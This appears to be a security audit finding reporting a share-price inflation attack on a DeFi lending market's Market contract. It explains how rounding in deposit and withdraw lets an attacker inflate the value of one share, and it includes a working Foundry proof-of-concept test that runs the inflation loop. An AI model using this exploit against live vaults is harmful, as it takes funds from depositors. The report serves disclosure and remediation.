Joyful Lavender Dalmatian

high

# Inflation Attack through stealth donation

## Summary
- Inflation Attack is possible even though balances are kept track of internally

## Vulnerability Detail
- Where: All Markets
- When: totalSupply() of a market is zero. This can happen at the start of the market or when a market becomes less popular at the end of it's life cycle. 
- Description:
    - When totalSupply() of a market is zero an attacker goes ahead and executes the following steps
        - deposit a few assets and enter market. Borrow a few of those assets and wait for a block. In 10 seconds when atleast 1 wei of interest has accurred, repay all the borrowed funds. 
        - After this redeem all but 1 wei of shares. This makes it so that the totalSupply is 1 and totalAssets = 2 due to rounding. 
        - Now attacker takes advantage of rounding down when depositing and rounding up when withdrawing to inflate the price of a share.
        - In a loop attacker does the following till they get their desired price of 1 share
            1. deposit `totalAssets() * 2 - 1` assets
                - according to `previewDeposit`, it mints  `supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());` of shares. Since the attacker has deposited `totalAssets * 2 - 1` assets and `supply` is 1, shares = `(totalAssets * 2 - 1) * 1 / totalAssets` = 1 is minted. This should have been `1.9999...` but due to rounding down, the attacker gets minted 1 shares. 
                    - This means at this point `supply = 1+1 = 2` and `totalAssets = totalAssets + (totalAssets * 2 - 1)` 
            2. withdraw `1` wei of assets
                - according to `previewWithdraw` it burns `supply == 0 ? assets : assets.mulDivUp(supply, totalAssets());` of shares. since `supply = 2` and `totalAssets = totalAssets + (totalAssets * 2 - 1)`, shares = `1 * 2 / totalAssets + (totalAssets * 2 - 1)` = 1. This should have been near 0 but due to rounding up, attacker's 1 share is burnt. 
                    - This means at this point supply is back to 1 and totalAssets is reduced by just 1. 
        - In this loop the supply stays at 1 and totalAssets increase exponentially. Take a look at the POC to get a better idea. 
        
    
## Impact
- This attack has two implications: Implicit minimum Amount and funds lost due to rounding errors
    - If an attacker is successful in making 1 share worth z assets and a user tries to mint LP Tokens using k*z assets then,
        - If k<1, then the user gets zero share which is not allowed (I am not sure because of which check) and the transaction fails
            - This leads to an implicit minimum amount for a user at the attacker's discretion.
        - If k>1, then users still get some shares but they lose (k- floor(k)) * z) of assets which get proportionally divided between existing share holders (including the attacker) due to rounding errors.
            - users keep losing up to 33% of their assets. (see [here](https://www.desmos.com/calculator/0hrgaxkdyr))
            - This means that for users to not lose value, they have to make sure that k is an integer.

## Code Snippet
- https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L944
## POC
- Add below testcase in `test/Market.t.sol` to test the attack.
```solidity
function testInflationAttack() external {
    //require that the total Supply is zero
    require(market.totalSupply() == 0, "totalSupply is not zero");

    //enter the market
    market.auditor().enterMarket(market);

    //make a small deposit
    market.deposit(0.01 ether, address(this));
    //borrow even smaller amount
    uint256 borrowShares = market.borrow(0.005 ether, address(this), address(this));

    //wait for 1 block which is enough so that atleast 1 wei is accured as interest
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 10 seconds);

    //deposit a few tokens to accure interest
    market.deposit(2, address(this));

    //repay all the debt
    market.refund(borrowShares, address(this));

    //redeem all but 1 wei of the deposit
    uint256 shares = market.balanceOf(address(this));
    market.redeem(shares - 1, address(this), address(this));

    require(market.totalAssets() == 2 && market.totalSupply() == 1, "starting conditions are not as expected");

    uint256 desiredPricePerShare = 8000 ether;
    // The loop to inflate the price
    while (true) {
      uint256 sharesReceived = market.deposit(market.totalAssets() * 2 - 1, address(this));
      require(sharesReceived == 1, "sharesReceived is not 1 as expected"); //this should have been 1.99999... for larger values of i but it is rounded down to 1

      if (market.totalAssets() > desiredPricePerShare) break;

      uint256 sharesBurnt = market.withdraw(1, address(this), address(this));
      require(sharesBurnt == 1, "sharesBunrt is not 1 as expected"); //this should have been ~0.0000001 for larger values of i but it is rounded up to 1
    }

    uint256 sharesBurnt = market.withdraw(market.totalAssets() - desiredPricePerShare, address(this), address(this));
    require(sharesBurnt == 1, "sharesBunrt is not 1 as expected");

    require(
      market.totalAssets() == desiredPricePerShare && market.totalSupply() == 1, "inflating the price was unsuccessful"
    );
  }
```

## Tool used
Manual Review

## Recommendation
- Make sure total supply of share is not between 0 and SOME_MINIMUM_AMOUNT in any case. 
